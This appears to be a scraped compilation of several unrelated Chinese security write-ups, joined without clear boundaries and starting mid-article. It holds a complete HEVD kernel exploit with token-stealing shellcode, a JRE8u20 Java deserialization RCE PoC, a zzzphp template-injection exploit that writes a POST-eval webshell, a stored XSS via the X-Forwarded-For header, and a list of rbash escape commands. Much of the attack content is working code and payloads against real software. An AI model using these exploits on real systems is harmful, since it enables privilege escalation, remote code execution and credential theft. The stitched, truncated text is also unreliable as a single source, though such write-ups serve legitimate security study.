让我们缩小`payload`的长度刚好为`0x800`(对应十进制的`2048`）大小，然后重新运行。
buf = "A" * 2048
达到断点后逐步执行，我们会收到调试消息，有效负载是正确大小是`0x800`。
当我们查看反汇编窗格时，可以在接下来的几个图像中看到此突出显示的`ret
8`命令，我们退出`TriggerStackOverflow`函数，然后返回`StackOverflowIoctlHandler`函数。
在该函数内部，我们执行`pop ebp`和`ret 8`。
因为我们劫持了`TriggerStackOverflow`返回后的执行(这是第一个`ret 8`,
为了让它指向我们的shellcode，我们必须模拟这两个操作，分别是`pop ebp`和`ret
8`，我们应该在返回`StackOverflowIoctlHandler`时应该执行这两个操作。)
让我们将这些添加到我们的shellcode中，看看我们是否只能发送NOPs和恢复执行，看看是否可以让受害者继续运行。
我们的新shellcode部分将如下所示：
shellcode = bytearray(
"\x90" * 100
)
shellcode = shellcode + bytearray(
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
这次应该就不会让受害者的机器崩溃。我们试试吧。
一切都很好！ 它一直运行着，我们达到了断点，继续使用`g`执行，我们可以看到Debuggee仍在运行并且受害者的机器没有崩溃。
我们剩下要做的就是添加shellcode。
## 最终的漏洞利用代码
我参考了Rootkit博客Shellcode并做了稍微， 我们最终的x86利用代码：
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
def create_file():
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
return hevd
def send_buf(hevd):
shellcode = bytearray(
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
"\x5d"
"\xc2\x08\x00")
print("[*] Allocating shellcode character array...")
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
ptr = addressof(usermode_addr)
print("[*] Marking shellcode RWX...")
result = kernel32.VirtualProtect(
usermode_addr,
c_int(len(shellcode)),
c_int(0x40),
byref(c_ulong())
)
if result != 0:
print("[*] Successfully marked shellcode RWX.")
else:
print("[!] Failed to mark shellcode RWX.")
sys.exit(1)
payload = struct.pack("<L",ptr)
buf = "A" * 2080
buf += payload
buf_length = len(buf)
print("[*] Sending payload to driver...")
result = kernel32.DeviceIoControl(
hevd,
0x222003,
buf,
buf_length,
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Payload sent.")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
try:
print("[*] Spawning cmd shell with SYSTEM privs...")
Popen(
'start cmd',
shell=True
)
except:
print("[!] Failed to spawn cmd shell.")
sys.exit(1)
hevd = create_file()
send_buf(hevd)
在Rootkit的博客上已经对Shellcode进行了很好的解释，请继续阅读并了解它的作用，当我们将漏洞利用移植到x86-64时，我们使用非常相似的Shellcode方法。
## 结论
* * *
这些真是太有趣了。 对我而言，最难的部分是查找有关API调用的文档，查找有关`ctypes`函数的文档，然后尝试遍调试器中的shellcode,
这是开始学习WinDBG的好方法。下篇文章，我们将该漏洞利用移植到有更多功能的Windows 7 x86-64上。 | 社区文章 |
### Author：n1nty
首发：<http://mp.weixin.qq.com/s/Daipik5qK6cIuYl49G-n4Q>
**正文**
JRE8u20 是由 pwntester 基于另外两位黑客的代码改造出来的。因为此 payload 涉及到手动构造序列化字节流，使得它与 ysoserial
框架中所有的 payload 的代码结构都不太一样，所以没有被集成到 ysoserial 框架中。此 payload
在国内没有受到太大的关注也许与这个原因有关。我对此 payload 进行了相对深入的研究，学到了不少东西，在此与大家分享。
**需要知道的背景知识**
1. 此 payload 是 ysoserial 中 Jdk7u21 的升级版，所以你需要知道 Jdk7u21 的工作原理
2. 你需要对序列化数据的二进制结构有一些了解，serializationdumper 在这一点上可以帮到你。
**简述 Jdk7u21**
网上有不少人已经详细分析过 Jdk7u21 了，有兴趣大家自己去找找看。
大概流程如下：
1. TemplatesImpl 类可被序列化，并且其内部名为 __bytecodes 的成员可以用来存储某个 class 的字节数据
2. 通过 TemplatesImpl 类的 getOutputProperties 方法可以最终导致 __bytecodes 所存储的字节数据被转换成为一个 Class（通过 ClassLoader.defineClass），并实例化此 Class，导致 Class 的构造方法中的代码被执行。
3. 利用 LinkedHashSet 与 AnnotationInvocationHandler 来触发 TemplatesImpl 的 getOutputProperties 方法。这里的流程有点多，不展开了。
**Jdk7u21 的修补**
Jdk7u21 如其名只能工作在 7u21 及之前的版本，因为在后续的版本中，此 payload 依赖的
AnnotationInvocationHandler 的反序列化逻辑发生了改变。其 readObject 方法中加入了一个如下的检查：
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation
type in annotation serial stream");
}
/// 省略了后续代码
}
可以看到在反序列化 AnnotationInvocationHandler 的过程中，如果 this.type 的值不是 **注解类型**
的，则会抛出异常，这个异常会打断整个反序列化的流程。而 7u21 的 payload 里面，我们需要 this.type 的值为
Templates.class 才可以，否则我们是无法利用 AnnotationInvocationHandler 来调用到
getOutputProperties 方法。正是这个异常，使得此 payload 在后续的JRE 版本中失效了。强行使用的话会看到如下的错误：
Exception in thread "main" java.io.InvalidObjectException: Non-annotation type in annotation serial stream
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:341)
**绕过的思路**
仔细看 AnnotationInvocationHandler.readObject 方法中的代码你会发现大概步骤是：
1. var1.defaultReadObject();
2. 检查 this.type，非注解类型则抛出异常。
代码中先利用 var1.defaultReadObject() 来还原了对象（从反序列化流中还原了 AnnotationInvocationHandler
的所有成员的值），然后再进行异常的抛出。也就是说， **AnnotationInvocationHandler 这个对象是先被成功还原**
，然后再抛出的异常。这里给了我们可趁之机。
* * *
（以下所有的内容我会省略大量的细节，为了更好的理解建议各位去学习一下 Java 序列化的规范。）
* * *
**一些小实验**
**实验 1：序列化中的引用机制**
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(new File("/tmp/ser")));
Date d = new Date();
out.writeObject(d);
out.writeObject(d);
out.close();
向 /tmp/ser 中写入了两个对象，利用 serializationdump 查看一下写入的序列化结构如下。
> STREAM_MAGIC - 0xac ed
>
> STREAM_VERSION - 0x00 05
>
> Contents
>
> TC_OBJECT - 0x73 **// 这里是第一个 writeObject 写入的 date 对象**
>
> TC_CLASSDESC - 0x72
>
> className
>
> Length - 14 - 0x00 0e
>
> Value - java.util.Date - 0x6a6176612e7574696c2e44617465
>
> serialVersionUID - 0x68 6a 81 01 4b 59 74 19
>
> newHandle 0x00 7e 00 00
>
> classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
>
> fieldCount - 0 - 0x00 00
>
> classAnnotations
>
> TC_ENDBLOCKDATA - 0x78
>
> superClassDesc
>
> TC_NULL - 0x70
>
> newHandle 0x00 7e 00 01 **// 为此对象分配一个值为 0x00 7e 00 01 的 handle，要注意的是这个
> handle 并没有被真正写入文件，而是在序列化和反序列化的过程中计算出来的。serializationdumper
> 这个工具在这里将它显示出来只是为了方便分析。**
>
> classdata
> java.util.Date
> values
> objectAnnotation
> TC_BLOCKDATA - 0x77
> Length - 8 - 0x08
> Contents - 0x0000015fd4b76bb1
> TC_ENDBLOCKDATA - 0x78
> TC_REFERENCE - 0x71 **// 这里是第二个 writeObject 对象写入的 date 对象**
> Handle - 8257537 - 0x00 7e 00 01
可以发现，因为我们两次 writeObject 写入的其实是同一个对象，所以 Date 对象的数据只在第一次 writeObject
的时候被真实写入了。而第二次 writeObject 时，写入的是一个 TC_REFERENCE 的结构，随后跟了一个4 字节的 Int 值，值为 0x00
7e 00 01。这是什么意思呢？意思就是第二个对象引用的其实是 handle 为 0x00 7e 00 01 的那个对象。
在反序列化进行读取的时候，因为之前进行了两次 writeObject，所以为了读取，也应该进行两次 readObject：
1. 第一次 readObject 将会读取 TC_OBJECT 表示的第 1 个对象，发现是 Date 类型的对象，然后从流中读取此对象成员的值并还原。并为此 Date 对象分配一个值为 0x00 7e 00 01 的 handle。
2. 第二个 readObject 会读取到 TC_REFERENCE，说明是一个引用，引用的是刚才还原出来的那个 Date 对象，此时将直接返回之前那个 Date 对象的引用。
**实验 2：还原 readObject 中会抛出异常的对象**
看实验标题你就知道，这是为了还原 AnnotationInvocationHandler 而做的简化版的实验。
假设有如下 Passcode 类
public class Passcode implements Serializable {
private static final long serialVersionUID = 100L;
private String passcode;
public Passcode(String passcode) {
this.passcode = passcode;
}
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
if (!this.passcode.equals("root")) {
throw new Exception("pass code is not correct");
}
}
}
根据 readObject 中的逻辑，似乎我们只能还原一个 passcode 成员值为 root 的对象，因为如果不是 root
，就会有异常来打断反序列化的操作。那么我们如何还原出一个 passcode 值不是 root 的对象呢？我们需要其他类的帮助。
假设有一个如下的 WrapperClass 类：
public class WrapperClass implements Serializable {
private static final long serialVersionUID = 200L;
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
System.out.println("WrapperClass.readObject:
input.readObject error");
}
}
}
此类在自身 readObject 的方法内，在一个 try/catch 块里进行了 input.readObject 来读取 **当前对象数据区块中**
的下一个对象。
**解惑**
假设我们生成如下二进制结构的序列化文件（简化版）：
> STREAM_MAGIC - 0xac ed
> STREAM_VERSION - 0x00 05
> Contents
> TC_OBJECT - 0x73 **// WrapperClass 对象**
> TC_CLASSDESC - 0x72
> ...
> // 省略，当然这里的flag 要被标记为 SC_SERIALIZABLE | SC_WRITE_METHOD
> classdata // 这里是 WrapperClass 对象的数据区域
> TC_OBJECT - 0x73 **// 这里是 passcode 值为 "wrong passcode" 的 Passcode
> 类对象，并且在反序列化的过程中为此对象分配 Handle，假如说为 0x00 7e 00 03**
> ...
> TC_REFERENCE - 0x71
> Handle - 8257537 - 0x00 7e 00 03 // 这里重新引用上面的那个 Passcode 对象
WrapperClass.readObject 会利用 input.readObject 来尝试读取并还原 Passcode 对象。虽然在还原
Passcode 对象时，出现了异常，但是被 try/catch 住了，所以序列化的流程没有被打断。Passcode 对象被正常生成了并且被分配了一个值为
0x00 7e 00 03 的 handle。随后流里出现了 TC_REFERENCE 重新指向了之前生成的那个 Passcode
对象，这样我们就可以得到一个在正常情况下无法得到的 passcode 成员值为 "wrong passcode" 的 Passcode 类对象。
读取的时候需要用如下代码进行两次 readObject：
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(new File("/tmp/ser")));
in.readObject(); // 第一次，读出 Wrapper Class
System.out.println(in.readObject()); // 第二次，读出 Passcode 对象
**实验 3：利用 SerialWriter 给对象插入假成员**
SerialWriter 是我自己写的用于生成自定义序列化数据的一个工具。它的主要亮点就在于可以很自由的生成与拼接任意序列化数据，可以很方便地做到 Java
原生序列化不容易做到的一些事情。它不完全地实现了 Java 序列化的一些规范。简单地理解就是 SerialWriter 是我写的一个简化版的
ObjectOutputStream。目前还不是很完善，以后我会将代码上传至 github。
如果用 SerialWriter 来生成实验 2 里面提到的那段序列化数据的话，代码如下：
public static void test2() throws Exception {
Serialization ser = new Serialization();
// wrong passcode ，反序列化时会出现异常
Passcode passcode = new Passcode("wrong passcode");
TCClassDesc desc = new TCClassDesc(
"util.n1nty.testpayload.WrapperClass",
(byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));
TCObject.ObjectData data = new TCObject.ObjectData();
// 将 passcode 添加到 WrapperClass 对象的数据区
// 使得 WrapperClass.readObject 内部的 input.readObject
// 可以将它读出
data.addData(passcode);
TCObject obj = new TCObject(ser);
obj.addClassDescData(desc, data, true);
ser.addObject(obj);
// 这里最终写入的是一个 TC_REFERENCE
ser.addObject(passcode);
ser.write("/tmp/ser");
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(new File("/tmp/ser")));
in.readObject();
System.out.println(in.readObject());
}
**给对象插入假成员**
什么意思呢？序列化数据中，有一段名为 TC_CLASSDESC
的数据结构，此数据结构中保存了被序列化的对象所属的类的成员结构（有多少个成员，分别叫什么名字，以及都是什么类型的。）
还是拿上面的 Passcode 类来做例子，序列化一个 Passcode 类的对象后，你会发现它的 TC_CLASSDESC 的结构如下：
> TC_CLASSDESC - 0x72
> className
> Length - 31 - 0x00 1f **// 类名长度**
> Value - util.n1nty.testpayload.Passcode -> 0x7574696c2e6e316e74792e746573747061796c6f61642e50617373636f6465 **//类名**
> serialVersionUID - 0x00 00 00 00 00 00 00 64
> newHandle 0x00 7e 00 02
> classDescFlags - 0x02 - SC_SERIALIZABLE
> fieldCount - 1 - 0x00 01 **// 成员数量，只有 1 个**
> Fields
> 0:
> Object - L - 0x4c
> fieldName
> Length - 8 - 0x00 08 **// 成员名长度**
> Value - passcode - 0x70617373636f6465 **// 成员名**
> className1
> TC_STRING - 0x74
> newHandle 0x00 7e 00 03
> Length - 18 - 0x00 12 **// 成员类型名的长度**
> Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b **//
> 成员类型，为Ljava/lang/String;**
如果我们在这段结构中，插入一个 Passcode 类中根本不存在的成员，也不会有任何问题。这个虚假的值会被反序列化出来，但是最终会被抛弃掉，因为
Passcode 中不存在相应的成员。但是如果这个值是一个对象的话，反序列化机制会为这个值分配一个 Handle。JRE8u20 中利用到了这个技巧来生成
AnnotationInvocationHandler 并在随后的动态代理对象中引用它。利用 ObjectOutputStream
我们是无法做到添加假成员的，这种场景下 SerialWriter 就派上了用场。（类似的技巧还有：在 TC_CLASSDESC 中把一个类标记为
SC_WRITE_METHOD，然后就可以向这个类的数据区域尾部随意添加任何数据，这些数据都会在这个类被反序列化的同时也自动被反序列化）
**回到主题 - Payload JRE8u20**
上面已经分析过是什么问题导致了 Jdk7u21 不能在新版本中使用。也用了几个简单的实验来向大家展示了如何绕过这个问题。那么现在回到主题。
JRE8u20 中利用到了名为 java.beans.beancontext.BeanContextSupport的类。 此类与上面实验所用到的
WrapperClass 的作用是一样的，只不过稍复杂一些。
大体步骤如下：
1. JRE8u20 中向 HashSet 的 TC_CLASSDESC 中添加了一个假属性，属性的值就是BeanContextSupport 类的对象。
2. BeanContextSupport 在反序列化的过程中会读到 this.type 值为 Templates.class 的 AnnotationInvocationHandler 类的对象，因为 BeanContextSupport 中有 try/catch，所以还原 AnnotationInvocationHandler 对象时出的异常被处理掉了，没有打断反序列化的逻辑。同时 AnnotationInvocationHandler 对象被分配了一个 handle。
3. 然后就是继续 Jdk7u21 的流程，后续的 payload 直接引用了之前创建出来的 AnnotationInvocationHandler 。
pwntester 在 github 上传了他改的 Poc，但是因为他直接将序列化文件的结构写在了 Java 文件的一个数组里面，而且对象间的 handle
与 TC_REFERENCE 的值都需要人工手动修正，所以非常不直观。而且手动修正 handle 是一个很烦人的事情。
为了证明我不是一个理论派 :-) ，我用 SerialWriter 重新实现了整个 Poc。代码如下：（手机端看不全代码，在电脑上看吧）
package util.n1nty.testpayload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import util.Gadgets;
import util.Reflections;
import util.n1nty.gen.*;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild;
import java.beans.beancontext.BeanContextSupport;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import static java.io.ObjectStreamConstants.*;
public class TestRCE {
public static Templates makeTemplates(String command) {
TemplatesImpl templates = null;
try {
templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null);
} catch (Exception e) {
e.printStackTrace();
}
return templates;
}
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
TCObject handler = new TCObject(ser) {
@Override
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
super.doWrite(new DataOutputStream(byteout), handles);
byte[] bytes = byteout.toByteArray();
/**
* 去掉最后的 TC_ENDBLOCKDATA 字节。因为在反序列化 annotation invocation handler 的过程中会出现异常导致序列化的过程不能正常结束
* 从而导致 TC_ENDBLOCKDATA 这个字节不能被正常吃掉
* 我们就不能生成这个字节
* */
out.write(bytes, 0, bytes.length -1);
}
};
// 手动添加 SC_WRITE_METHOD，否则会因为反序列化过程中的异常导致 ois.defaultDataEnd 为 true，导致流不可用。
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
desc.addField(new TCClassDesc.Field("type", Class.class));
TCObject.ObjectData data = new TCObject.ObjectData();
data.addData(map);
data.addData(Templates.class);
handler.addClassDescData(desc, data);
return handler;
}
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
TCObject obj = new TCObject(ser);
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
beanContextSupportData.addData(1); // serializable
beanContextSupportData.addData(handler);
beanContextSupportData.addData(0, true); // 防止 deserialize 内再执行 readObject
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
beanContextChildSupportData.addData(obj); // 指回被序列化的 BeanContextSupport 对象
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
return obj;
}
public static void main(String[] args) throws Exception {
Serialization ser = new Serialization();
Templates templates = makeTemplates("open /Applications/Calculator.app");
HashMap map = new HashMap();
map.put("f5a5a608", templates);
TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser));
hashsetData.addData(10, true); // capacity
hashsetData.addData(1.0f, true); // loadFactor
hashsetData.addData(2, true); // size
hashsetData.addData(templates);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
ser.addObject(linkedHashset);
ser.write("/tmp/ser");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(new File("/tmp/ser")));
System.out.println(in.readObject());
}
}
**参考资料**
<http://wouter.coekaerts.be/2015/annotationinvocationhandler>
这一篇资料帮助非常大，整个 payload 的思路就是这篇文章提出来的。作者对序列化机制有长时间的深入研究。
<https://gist.github.com/frohoff/24af7913611f8406eaf3>
<https://github.com/pwntester/JRE8u20_RCE_Gadget> | 社区文章 |
又看到了cnvd中的一个有趣的洞！
# zzzphp
> zzzphp是一款php语言开发的免费建站系统，以简单易上手的标签、安全的系统内核、良好的用户体验为特点，是站长建站的最佳选择。
晚上8点，做完作业发现cnvd报了一个[命令执行](https://www.cnvd.org.cn/flaw/show/CNVD-2019-21998)，本着两天不看代码看不懂的精神赶紧再来看下审计。
# 产生原因
zzzphp的模板是通过自写函数来进行解析的，过滤参数不严谨导致可以执行任意php代码。
# 漏洞分析
程序入口`index.php`引入`require 'inc/zzz_client.php';`
E:\code\php\zzzphp\inc\zzz_client.php:56
require 'zzz_template.php';
if (conf('webmode')==0) error(conf('closeinfo'));
$location=getlocation();
引入模板解析类并通过`getlocation()`使url和模板关联起来。
91行：当访问`http://127.0.0.1/search/` 时使用search模板
case 'search':
$tplfile= TPL_DIR . 'search.html';
157行
$parser = new ParserTemplate();
$zcontent = $parser->parserCommom($zcontent); // 解析模板
实例化解析模板类，调用`parserCommom()`方法，跟进
inc/zzz_template.php
public function parserCommom($zcontent)
{
$zcontent = $this->parserSiteLabel($zcontent); // 站点标签
$zcontent = $this->ParseInTemplate($zcontent); // 模板标签
$zcontent = $this->parserConfigLabel($zcontent); //配置表情
$zcontent = $this->parserSiteLabel($zcontent); // 站点标签
$zcontent = $this->parserCompanyLabel($zcontent); // 公司标签
$zcontent = $this->parserUser($zcontent); //会员信息
$zcontent = $this->parserlocation($zcontent); // 站点标签
$zcontent = $this->parserLoopLabel($zcontent); // 循环标签
$zcontent = $this->parserContentLoop($zcontent); // 指定内容
$zcontent = $this->parserbrandloop($zcontent);
$zcontent = $this->parserGbookList($zcontent);
$zcontent = $this->parserLabel($zcontent); // 指定内容
$zcontent = $this->parserPicsLoop($zcontent); // 内容多图
$zcontent = $this->parserad($zcontent);
$zcontent = parserPlugLoop($zcontent);
$zcontent = $this->parserOtherLabel($zcontent);
$zcontent = $this->parserIfLabel($zcontent); // IF语句
$zcontent = $this->parserNoLabel($zcontent);
return $zcontent;
}
可以看到这些是zzzphp模板解析，并且使用了自定义模板语句，跟进`$this->parserIfLabel()`函数
public function parserIfLabel($zcontent)
{
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if (preg_match_all($pattern, $zcontent, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i++) {
$flag = '';
$out_html = '';
$ifstr = $matches[1][$i];
$ifstr = danger_key($ifstr);
$ifstr = str_replace('=', '==', $ifstr);
$ifstr = str_replace('<>', '!=', $ifstr);
$ifstr = str_replace('or', '||', $ifstr);
$ifstr = str_replace('and', '&&', $ifstr);
$ifstr = str_replace('mod', '%', $ifstr);
//echop( $ifstr);
@eval('if(' . $ifstr . '){$flag="if";}else{$flag="else";}');
... 省略
return $zcontent;
}
}
}
看到了eval函数，并且有变量`$ifstr`，如果它可控，那么我们就可以执行任意代码。
看下他是怎么过滤的，`preg_match_all`匹配正则，要满足以下格式
{if:条件}
代码
{end if}
然后经过一个`danger_key()`函数，跟进
inc/zzz_main.php
function danger_key( $s , $len=255) {
$danger=array('php','preg','server','chr','decode','html','md5','post','get','cookie','session','sql','del','encrypt','upload','db','$','system','exec','shell','popen','eval');
$s = str_ireplace($danger,"*",$s);
return $s;
}
可以看到使用`str_ireplace()`替换了危险关键字，不过只是替换了一次，可以双写绕过。
到目前为止，整个漏洞的构造链已经很清晰了。
修改模板 -> 构造恶意if语句块 -> 访问 `http://localhost/search/`触发代码执行
# exp构造
* 问题一：上文提到了可以用双写绕过，但是关键字会被替换成一个`*`，我们可以重新用str_replace替换回来
* 问题二：`$`被替换，没办法用双写绕过，我们用`get_defined_vars()`来构造，参考 [PHP利用Apache、Nginx的特性实现免杀Webshell](https://y4er.com/post/apache-nginx-webshell/)
放一个我的构造的exp
后台 - 模板管理 - 修改search.html，添加一行
{if:1)file_put_contents(str_replace('*','','Y4er.pphphp'),str_replace('*','','<?pphphp evevalal(ggetet_defined_vars()[_PPOSTOST][1]);'));//}{end if}
然后访问`http://localhost/search/` 然后会在 `http://localhost/search/Y4er.php`
# 修复建议
使用`preg_replace`过滤关键字而不是`str_ireplace()`，严格控制用户输入。
# 写在文后
需要登录后台，算是比较鸡肋，不过cnvd还爆了这个版本的注入，有兴趣的师傅可以看一下。
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。** | 社区文章 |
## 0x1 漏洞分析
位置：`/4.1.190209/Lib/Lib/Action/Home/ForumAction.class.php`
line `71~107`
public function update(){
$post = $_POST;
$post['forum_cookie'] = md5('forum_'.intval($post['forum_sid']).'_'.intval($post['forum_pid']).intval($post['forum_uid']).'_'.intval($post['forum_cid']));
//报错取消验证
if($post['forum_sid'] == 24){
D("Forum") -> setProperty("_validate", '');
}
//写入数据库
$info = D("Forum")->ff_update($post);
if($info){
$email_type = '';
if( $info['forum_sid'] == 5 ){
if( C('user_email_guestbook') ){
$email_type = '留言';
}
}elseif( $info['forum_sid'] == 24 ){
if( C('user_email_error') ){
$email_type = '报错';
}
}else{
if( C('user_email_forum') ){
$email_type = '评论';
}
}
if( $email_type ){
D("Email")->send(C('site_email'), '站长您好', '收到用户（'.$info['forum_uid'].'）的'.$email_type, $info['forum_content']);
}
//返回状态
if (C('user_check')) {
$this->ajaxReturn($info, "谢谢，我们会尽快审核你的发言！", 201);
}else{
$this->ajaxReturn($info, "感谢你的参与！", 200);
}
}else{
$this->ajaxReturn('', D("Forum")->getError(), 0);
}
}
先来看下流程：
* 先获取了`post`传输过来的数据
* forum_cookie是获取传入过来的forum的各种id参数并且是强制int和md5加密的
* 接下来进行了写入到数据库操作跟进`D("Forum")->ff_update()`方法
* 获取返回值根据返回值的确定进行了什么操作
* 最后返回状态
跟进`Lib/Lib/Model/ForumModel.class.php`中的`ff_update()`方法
这里只是进行了数据的添加具体数据库，`ForumModel`继承了`RelationModel`，会先验证传入的数据是否满足要求
问题出现在了
`array('forum_ip','get_client_ip',1,'function'),`这里 没有对
继续跟进 `get_client_ip`
位置`/Lib/Common/common.php`
Line `2703~2715`
function get_client_ip(){
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
这里我们那可以控制`HTTP_X_FORWARDED_FOR`而且没有对数据进行过滤或者验证处理
## 0x02 漏洞利用
首先注册一个用户，跳转到留言页面添加留言
拦截数据包 增加payload到`X-Forwarded-For`
可以看到可以控制的是两个地方但是只能输入20个字符 所以尝试使用分段突破字符限制
因为这个评论内容是顺序排列的所以payload分为三次提交：
* `*/</script><!--`
* `*/alert(1);/*`
* `<script>/*`
这时打开后台管理跳转到评论页面就会自动弹出
至于怎么偷取cookie 自行使用js的各种拼接创建元素就可以了 | 社区文章 |
# **0x00、前言**
rbash(The restricted mode of bash),也就是限制型bash；是平时所谓的 restricted
shell的一种，也是最常见的 restricted shell（rbash、ksh、rsh等）
渗透中遇到restricted shell是一件很烦人的事，总有有一种束手束脚的感觉；下面我们就来看看如何突破它。
# **0x01、rbash中的限制（正因为有这些限制我们才要突破它）**
* 不能使用cd命令（意味着不能更改目录）
* 不能设置或取消环境变量：SHELL， PATH， ENV， BASH_ENV
* 导入功能受限
* 指定包含参数'/'或'-'的文件名(即命名中不能包含 '/ ' 或'-')
* 不能使用使用 >，>|， <>， >&， &>， >> 等重定向操作符
* 不能使用'set + r'或'set + o'关闭
从上边这些限制可知rbash的存在是为了提高安全性，但是严重影响了我们在目标机器上的信息收集，以及常用的反弹shell(大部分需要用到重定向符)
# **0x02、创建一个用户并为该用户启用rbash**
kali@kali:~$ sudoadduser tw
kali@kali:~$ sudo usermod -s /bin/rbash tw
# **0x03、检查当前shell是否为rbash**
# **0x04、rbash逃逸**
4.1、切换用户时逃逸
这里的原理涉及到su 和 su- 的区别：
* su命令，只会更改当前用户，而不会更改当前的用户环境，比如你从oracle 用户su到root账户中，当前路径仍是你刚才的路径，环境变量仍是oracle用户的
* su- 命令，则在更改当前用户信息的同时还会更改用户环境，但是假如你从oracle 用户su -到root账户，你会发现你的当前路径已经变为/root/，环境变量也变了
逃逸：
su -l tw
su - tw
su --login tw
4.2、ssh登录时逃逸 （借助-t远程在远程机器上运行脚本）
ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" ###shellshock
4.3、当前shell中逃逸
4.3.1、特殊情况
[1] / 被允许的情况下；直接 /bin/sh 或 /bin/bash
[2]能够设置PATH或SHELL时
export PATH=$PATH:/bin/:/usr/bin:$PATH
export SHELL=/bin/sh
[3]权限足够时
cp /bin/sh /path/ ;sh
或
cp /bin/bash /path/ ;sh
4.3.2、利用系统常见应用逃逸
[1]ftp
[2]more
[3]less
[4]man
[5]vi
[6]vim
以上在输入的地方输入!/bin/sh 或 !/bin/bash
[7]scp
scp -S /path/yourscript x y:
[8]awk
awk 'BEGIN {system("/bin/sh")}'
或
awk 'BEGIN {system("/bin/bash")}'
[9]
find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;
4.3.3、利用用户安装应用逃逸
[1]ed-editor
ed
!'/bin/sh'
[2]git
git help status
!/bin/bash
[3]zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
[4]tar
